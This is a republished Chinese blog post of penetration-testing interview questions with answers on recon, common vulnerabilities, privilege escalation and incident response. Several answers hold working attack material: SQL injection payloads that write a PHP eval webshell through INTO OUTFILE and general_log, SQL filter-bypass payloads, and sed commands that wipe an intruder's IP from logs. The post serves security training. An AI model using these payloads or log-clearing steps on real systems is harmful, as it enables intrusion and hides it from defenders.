渗透测试面试题--日更(1-9day)
Posted 1erkeU
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试面试题--日更(1-9day)相关的知识,希望对你有一定的参考价值。
day-one
1、拿到一个待检测的web站,渗透测试思路?
答:
(1)信息收集
- 获取域名的whois信息,获取注册者的邮箱姓名电话等
- 查服务器的旁站以及子域名站点,因为主站一般比较难,所以可以先看看旁站有没有通用cms或者其他漏洞
- 查看服务器操作系统版本,web中间件,看看是否存在已知漏洞
- 查看IP,进行IP地址的全面扫描,对响应端口进行漏洞探测
(2)漏洞扫描:开始检测漏洞,例如XSS,SQL注入,命令执行,越权访问,暴力破解…
(3)漏洞利用:利用扫描到的漏洞拿到webshell或者其他权限
(4)提权:提权服务器
(5)日志清理
(6)总结报告及修复方案
2、渗透测试中常见端口?
答:
1)数据库类(扫描弱口令):
-
1433 MSSQL
-
1521 Oracle
-
3306 mysql
-
5432 PostgreSQL
2)特殊服务类(未授权/命令 执行类/漏洞):
-
443 SSL心脏滴血
-
873 Rsync未授权
-
5984 CouchDB
-
6379 redis 未授权
-
7001,7002WebLogic 默认弱口令,反序列
-
11211 memcache 未授权访问
-
27017,27018 Mongodb未授权访问
-
50000SPA命令执行
-
50070,50030 hadoop默认端口未授权访问
3、CDN加速是什么如何绕过找到真实IP
答:
1)多地ping
2)外国ping
3)查看IP和域名绑定的历史记录
4)查询子域名
4、简述Linux系统中查询日志方法
答:
登陆日志 last;
操作日志 history;
启动信息和错误日志 /var/log/message;
安全日志 /var/log/secure;
邮件日志/var/log/maillog;
计划任务日志/var/log/cron;
5、入侵Linux后需要清除哪些日志
答:
1)web日志如apache的access.log,error.log。直接将日志清除太明显,一般用sed进行定向清除:sed -i -e ‘/192.168.132.xx/d’
2)history命令的清除,也是对~/.bash_history进行定向清除
3)wtmp日志的清除,/var/log/wtmp
4)登陆日志清除 /var/log/secure
Day-two
1、什么是webshell?
答:webshell就是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也可以将其称作为一种网页后门。
2、什么是网络钓鱼?
答:网络钓鱼是通过大量发送来自知名机构的欺骗性垃圾邮件,意图诱惑收信人给出敏感信息的一种攻击方式。它常引导用户到url与接口外观与真正网站几乎无差的假冒网站输入个人数据
3、什么是cc攻击?
答:cc攻击是DDos分布式拒绝服务的一种,正常请求伪造,服务器资源耗尽,相比其他的DDos攻击CC更具有技术含量一些。这种攻击你见不到真实源IP,见不到特别大的异常流量,但是造成服务器无法正常连接。
CC攻击的原理就是攻击者控制某些主机不停的发送大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃。CC主要是用来攻击页面的。
4、web服务器被入侵后,怎么样进行排查?
答:最简单的就是
- 查看web服务器的日志
- 查看有没有异常端口开放
- 使用安全狗等服务器安全软件清扫
5、蜜罐
答:蜜罐好比是情报收集系统,蜜罐仿佛是故意让人攻击的目标,引诱黑客前来攻击,所以攻击者入侵后,你就知道他是如何得逞的随时了解针对服务器发动的最新攻击和漏洞,还可以通过窃听黑客之间的联系,收集黑客所用的种种工具,并且掌握他们的社交网络。
DAY-3
1、Https的作用
答:(HTTP+SSL)
- 内容加密建立一个信息安全通道,来保证数据传输的安全
- 身份认证确认网站的真实性
- 数据完整性防止内容被第三方冒充或者篡改
HTTP和HTTPS的区别
- HTTPS协议需要用到CA申请证书
- HTTP是超文本传输协议,信息是明文传输;HTTPS则是具有安全性的ssl加密传输协议
- HTTP和HTTPS使用的是完全不同的连接方式,用的端口也不一样,前者是80.后者是443
- HTTP的连接最简单是无状态的;HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议。
2、TCP和UDP的区别
答:TCP和UDP协议特性区别总结:
- TCP协议可靠,UDP协议不可靠
- TCP协议在传送数据段吗的时候要给段标号
- TCP协议是面向连接;UDP协议采用无连接
- TCP协议负载较高,采用虚电路;UDP协议采用无连接
- TCP协议采用窗口技术和流控
当数据传输的性能必须让位于数据传输的完整性、可控制和可靠性时,TCP协议是最好的选择
当强调传输性能而不是传输的完整性时,例如:音频和多媒体应用,UDP是最好的选择
3、一个成熟并且相对安全的CMS,渗透时扫目录的意义?
答:
判断当前使用的CMS是否存在Nday,尝试利用公开的POC、EXP进行测试
根据CMS特征关联通CMS框架站点,进行敏感备份文件扫描,有可能获取站点备份文件,尝试从CMS源码进行代码审计,挖掘潜在漏洞
- 敏感文件、二级目录扫描
- 站长的误操作:网站备份的压缩文件,密码.txt,二级目录可能存放在其他站点
4、“人肉搜索”
答:是一种类比的称呼,主要是用来区别于传统搜索引擎。它主要是通过集中大众网民的力量去搜索信息和资源的一种方式,它包括利用互联网的机器搜索引擎及利用各个网民在日常生活中所能掌握的信息来进行收集信息的一种方式。
5、建立TCP连接的标准过程
答:
首先,请求端(客户端)发送一个包含 SYN 标志的 TCP 报文,SYN 即同步(Synchronize),同步报文会指明客户端使用的端口以及 TCP 连接的初始序号;
第二步,服务器在收到客户端的 SYN 报文后,将返回一个 SYN+ACK 的报文,表示客户端的请求被接受,同时 TCP 序号被加一,ACK 即确认
(Acknowledgement)。
第三步,客户端也返回一个确认报文 ACK 给服务器端,同样 TCP 序列号被加一,到此一个 TCP 连接完成。
以上的连接过程在 TCP 协议中被称为三次握手(Three-way Handshake)。
DAY–4
1、为什么进行子域名爆破?
答:子域名爆破可以发现更多目标,以参加渗透测试成功的可能性,探测到更多隐藏或遗忘的应用服务,这些应用往往导致一些严重漏洞。当一个主站坚不可摧的时候,我们可以尝试从分站入手。
2、信息收集如何处理子域名爆破的泛解析问题?
答:子域名爆破的泛解析:访问不存在的子域名任然会跳转,对应的返回值200
解决办法:根据确切不存在得子域名记录获取黑名单IP,对爆破过程进行黑名单过滤,但是这种宽泛得过滤任意导致漏报,所以可以将TTL也作为黑名单规则得一部分。在权威得DNS中,泛解析记录得TTL值是一样得,如果子域名记录相同但是TTL不同,即不是泛解析记录。
3、phpinfo你会关注哪些信息?
答:phpinfo()函数主要用于网站建设过程中测试搭建的PHP环境是否正确,很多网站在测试完毕后并没有及时删除,因此访问这些测试页面时,会输出服务器的关键信息,这些信息的泄露将导致服务器被渗透的风险。
- 绝对路径(_SERVER[“SCRIPT_FILENAME”])
- 支持的程序
- 泄露真实IP:有时候通过phpinfo泄露的ip可以查查旁站,c段什么的,直接无视cdn。
- 泄露缓存文件地址:容易getshell
- 一些敏感的配置文件
4、过滤逗号的SQL注入如何绕过
答:
使用jion:
union select 1,2
=
union select * from (select 1)a jion(select 2)b
使用like:
select ascii(mid(user(),1,1))=80
=
select user() like 'r%'
5、过滤limit后的逗号如何绕过
答:
对于limit可以使用offset来绕过:
select * from news limit 0,1
=
select * from news limit 1 offset 0
DAY–5
1、简单描述一下什么是水平越权,什么是垂直越权,防范措施?
答:
**水平越权:**A和B拥有相同的权限的等级,他们能获取自己的个人数据,但是系统只验证了能访问数据的角色,而没有对数据做细分或者校验,导致A能访问到B的数据,这种行为称为水平越权。
**垂直越权:**A的用户权限高于B,B越权操作A的权限的情况叫做垂直越权。
防范措施:
- 前后端同时对用户输入信息进行校验,双重验证机制
- 调用功能前严重用户是否有权限调用相关功能
- 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
- 直接对象引用的加密资源ID,防止攻击者枚举ID,敏感信息特殊化处理
- 对可控参数进行严格的检查和过滤
2、常见的内网段有哪些,他们的掩码是什么?
答:
局域网地址范围分三类,以下IP段为内网IP段:
C类:
192.168.0.0 - 192.168.255.255
B类:
172.16.0.0 - 172.31.255.255
A类:
10.0.0.0 - 10.255.255.25
一般的局域网用的IP地址就叫内网
3、了解一下CSRF?
答:csrf是跨站请求伪造,就是挟持了当前已经登陆的用户程序去做用户非本意的操作,比如说在用户已经登入淘宝的情况下,用户去点开了另一个恶意链接,然后恶意链接就是请求修改用户淘宝密码的,这种情况就是跨站请求伪造。
CSRF的防范:
- 同源策略,检查referer字段,拒绝非本站的请求
- 检查taken校验码,服务器生成的伪随机数发给用户,后台会拒绝掉错误的请求
SSRF和CSRF的区别:
CSRF是由客户端发起请求的安全漏洞
SSRF是由服务器端发起请求的安全漏洞
4、sql注入的原理、条件、种类和利用方式、防御?
答:
**原理:**web应用程序对用户输入的数据过滤不严谨,并且将输入数据当作SQL语句带入到数据中去执行。
**注入条件:**必须有参数传递;参数值带入数据库查询执行 and 1=1 返回正确 and 1=2 返回错误。
种类:
防御:
1)严格限制web应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害
2)对进入数据库的特殊字符进行转义处理或者编码转换
3)使用正则或者特殊字符判断参数的数据格式是否合法
…
5、mysql的网站注入。5.0以上和5.0以下有什么区别?
答:
5.0以下的没有information——schema这个系统表,无法列表名,只能暴力表名。
5.0以下是多用户单操作,5.0以上是多用户多操作。
DAY-6
1、常见的中间件漏洞?
答:
IIS:PUT漏洞,短文件名猜解,远程代码执行,解析漏洞
Apache:解析漏洞、目录遍历
nginx:文件解析、目录遍历、CRLF注入、目录穿越
Tomcat:远程代码执行,war后门文件部署
JBoss:反序列化漏洞,war后门文件部署
WebLogic:反序列化漏洞、SSRF任意文件上传 war后门文件部署
2、提权?
答:
Windows常用的提权方法:
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- web中间件漏洞提权
- DLL劫持提权
- 滥用高危权限令牌提权
- 第三方软件/服务提权等
Linux提权方法:
- linux内核漏洞提权
- 低权限用户目录下可以被root权限用户调用的脚本提权(SUID)
- 环境变量劫持高权限程序提权
- sudoer配置文件错误提权
3、渗透测试的流程思路?
答:
- 信息收集
- 漏洞扫描
- 漏洞利用
- 提权
- 日志清除
- 总结报告及修复方案
4、文件上传怎么防护?
答:
文件上传原理:
在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。存在文件上传得地方都有可能存在文件上传漏洞
防护文件上传:
- 文件上传目录设为不可执行
- 使用黑白名单结合的方式限制文件上传
- 使用JS对文件的大小,扩展名进行检测
- 使用取随机文件名,可以是md5也可以是时间。
5、XSS跨站脚本攻击?
答:xss跨站脚本攻击是对html代码的注入,是通过对网页注入浏览器可执行的代码而实现的攻击手段。
XSS分类:
-
反射型
-
存储型
-
DOM型
反射型和存储型都需要经过服务器解析并且和数据库产生交互
DOM型只需要经过前端解析,不需要和数据库产生交互
存储型和DOM型都会长期将攻击代码存放在受害者服务器
反射型只会反弹一次攻击代码
如何防范XSS攻击:
- 过滤输入的数据,包括单引号,双引号,<,>等非法字符
- 对输出到页面的数据进行相应的编码转换
- 使用HTTP only属性保护终于cookie
DAY-7
1、PHP中有哪些危险函数?
答:
phpinfo()
输出PHP环境信息以及相关模块、web环境等信息
passthru()
允许执行一个外部程序并回显输出,类似exec()
exec()
允许执行一个外部程序(如unix shell或者cmd命令等)
system()
允许执行一个外部程序并回显输出
scandir()
列出指定路径中的文件和目录
erro_log()
将错误信息发送到指定位置
......
2、文件包含漏洞?
答:服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行。通过修改url地址或者一个参数的变量内容,读取到web根目录以前的其他文件,但不同于目录浏览,目录浏览是可以通过浏览器直接显示www目录下每一个文件的名称,把目录列表给列出来。
漏洞产生的原因:
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
文件包含函数:
require()
require_once()
include()
incluede_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个经过但程序继续正常允许;而require函数出现错误,会直接报错并退出程序执行
3、常见的状态码有哪些?
答:
- 100(客户端继续发送请求,这是临时响应)
- 101:服务器根据客户端请求切换协议
- 200(成功):请求已成功,请求所希望的响应头或者数据体将随此响应返回
- 202:服务器已经接收请求但未处理
- 302:重定向
- 404:请求资源不存在,是最常见的状态
- 400:客户端有语法错误不能被服务器所理解
- 401:请求未经授权
- 403:服务器收到请求,但是拒绝提供服务
- 500:服务器内部错误,是最常见的状态
- 503:服务器当前不能处理客户端请求,一段时间后可恢复。
4、GET和POST的区别?
答:
- GET是不安全,因为在传输过程,数据被放在请求的url中;POST的所有操作对用户来说都是不可见的
- GET传送的数据量较小,这主要是因为受url长度限制;POST传送的数据量比较大,一般被默认认为不受限制
- get限制from表单的数据集的值必须为ASCII字符;post支持整个ISO字符集
- GET执行效率却比POST方法好,GET是from提交的默认方法。
5、sql注入写入webshell的条件?
答:
- 有写入权限
- 知道网站绝对路径
- 允许导出文件
webshell的一些语句:
-
union select写入
outfile方法是mysql提供的一个用来写入文件的函数,当我们可以控制输入的文件和文件的保存路径时,就可以达到传入webshell的目的。
union select '<?php eval($_POST[cmd])?>' into outfile'web目录'
-
分隔符写入
当union无法使用时
?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>)# ?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>)# ?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>)# ?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>)#
-
log写入
新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话木马,这时我们可以通过修改MySQL的log文件来获取webshell。
show variables like '%general%'; #查看配置 set global general_log = on; #开启general log模式 set global general_log_file = '网站目录/shell.php'; #设置日志目录为shell地址 select '<?php eval($_POST[shell]);?>' #写入shell set global general_log=off; #关闭general log模式
DAY-8
1、设备出现了误报如何处置?
答:
要确认设备是否误报,应当先去查看设备的完整流量日志等信息。在hvv的过程中如果确实存在异常流量应当及时上报,确认是误报后做好事件记录。
2、如何区分是扫描流量还是手动流量?
答:
扫描的数据量大,请求流量有规律可循,手动流量请求少,间隔略长
3、Windows和Linux的日志文件放在哪里?
答:
-
Windows的系统日志:事件查看器
Windows系统日志都是在“事件查看器下面”
-
Linux系统日志:/var/log
4、webshell检测思路
答:webshell就是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也可以将其称作为一种网页后门。
静态检测:
静态检测通过匹配特征码,特征值,危险函数来查找webshell的方法,只能查找已知的webshell,并且误报率和漏报率会比较高,但是如果规则完善,可以降低误报率,但是漏报率必定会有所提高。
优点是快速方便,对已知的webshell查找准确率高,部署方便
缺点是漏报率、误报率高,无法查找0day型webshell,而且容易被绕过
日志检测:
使用webshell一般不会在日志中留下记录,但是会在网站的web日志中留下webshell页面的访问记录和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。
语法检测:
实现关键危险函数的捕捉方式
防范webshell
-
第一种的思路就是将专门上传文件的文件夹里面的脚本类型文件,解析成其他类型的文件,服务器不会以脚本类型执行它
-
第二种匹配文件夹里面的脚本类型文件,将其设置为无法读取和操作
-
第三种将文件上传到一个单独的文件夹,给一个二级域名,然后不给这个虚拟站点解析脚本的权限
5、webshell如何响应
答:PDCERF模型
Prepare(准备):准备用来检测的工具和人
Detection(检测):紧急事件监测:包括防火墙、系统、web服务器、IDS/WAF/SIEM中的日志,不正常或者是执行了越权操作的用户,甚至还有管理员的报告
Containment(抑制):首先控制受害范围,不要让攻击的影响继续蔓延到其他IT资产和业务环境,切记不要一股脑的投入全部经历到封堵后门。紧接着就是寻找根源,彻底解决,封堵攻击源
Eradication(根除)
Recover(恢复)
Follow-up(跟踪):根据各种监控去确定没有其他的攻击行为和攻击向量,紧接着就是开会反省此次事件,写报告,持续改进工作流程和工作环境。
DAY-9
1、Apache Log4j2的漏洞原理是什么?
答:
由于Log4j2组件在处理程序日记记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获取目标服务器权限。
2、Windows和Linux的判断
答:
- 大小写检测:Windows大小写不敏感,而Linux大小写敏感
- Ping指令:根据TTL值,Windows一般情况下大于100,而Linux则小于100
3、无法连接服务器3389端口的几种情况
答:
- 3389端口处于关闭状态
- 远程桌面默认端口号被修改
- 防火墙拦截
- 处于内网环境
- 超过了服务器最大连接数
- 管理员设置了权限,指定用户才能通过3389端口进行远程桌面访问
4、为什么MYsql数据库的站点,无法连接
答:
- 站库分离
- 3306端口未对外开放
- MYsql默认端口被修改
5、常见的逻辑漏洞
答:
- 支付订单:在支付订单时,可以篡改价格为任意金额;或者可以篡改运费或其他费用为负数,导致总金额减低
- 越权访问:通过越权漏洞访问他人信息或者操作他人账号
- 重置密码:在重置密码时,存在多种逻辑漏洞
- 竞争条件
以上是关于渗透测试面试题--日更(1-9day)的主要内容,如果未能解决你的问题,请参考以下文章
2021年中职“网络安全“江西省赛题—B-8:Web渗透测试 2022年中职组“网络安全”赛项吉安市竞赛B-1:数据库服务渗透测试